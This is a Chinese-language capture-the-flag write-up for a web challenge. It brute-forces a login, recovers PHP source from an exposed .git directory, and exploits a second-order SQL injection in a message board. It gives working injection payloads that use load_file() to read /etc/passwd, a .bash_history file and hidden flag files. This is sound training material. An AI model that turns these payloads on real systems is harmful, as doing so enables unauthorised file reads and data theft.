进入题目 发帖时提示要登录,密码用bp跑出来是666 然后这个发帖形式很像上一题的二次注入,先构造sql语句,后面在留言界面输出 稍微试了一下,有问题的都发不出留言 在f12控制台发现这样一句话后,在url后添加.git被403禁止了,说明有git泄露 githack载下来的源码跟没载一样
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
在linux下的githacker里
git clone http://5b460e5f-02d2-43d6-9fc3-33ea9e95f660.node4.buuoj.cn:81/.git
git log --reflog
git reset –hard e5b2a2443c2b6d395d06960123142bc91123148c
就可以恢复到完整的源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
输入的数据全由addslashes过滤,两个插入数据的sql语句如下
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
换行的结果就是插入数据库时,sql语句也是换行的形式 这就导致了我们注释时要用 /**/代替# 还有一点就是插入数据库时,\’插入后会变为’,不会受到影响 所以我们构造完的payload应该是
insert into comment
set category = '',content=payload,
bo_id = '$bo_id'";
利用多行注释,构造自己的payload 由于构造user()是可以看到当前用户的,就像whoami一样, 虽然不太清楚为什么大佬们的wp要构造user(),结合后面的语句感觉可以直接玩sql注入,失败后再尝试load_file() 没有查询的源码,输入也会被原样输出,宽字节注入想不到了 在title处修改category没有反应,只能在category处改content,发帖时content处不能填*/#,不然会因为错误导致无法提交留言, 再在提交留言处提交 root权限,好 ‘, content=load_file(’/etc/passwd’),/* root权限都有了,用load_file()查看下文件 读/flag发现没有 有一点就是历史记录会自动保存到当前目录下.bash_history文件中 ',content=(select(load_file("/home/www/.bash_history"))),/* cp –r复制目录 删除了/var/www/html目录下的.DS_Store,/tmp/html目录下的.DS_Store文件还在 测试了下to_base64查看时没有回显 改用hex ’ content=(select hex(load_file("/tmp/html/.DS_Store"))) 有回显了 进制转换网站 转文本后发现flag文件
',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/* 提交失败,又是假的 因为上面的cp和rm命令知道/var/www/下应该也有个flag文件 ',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
|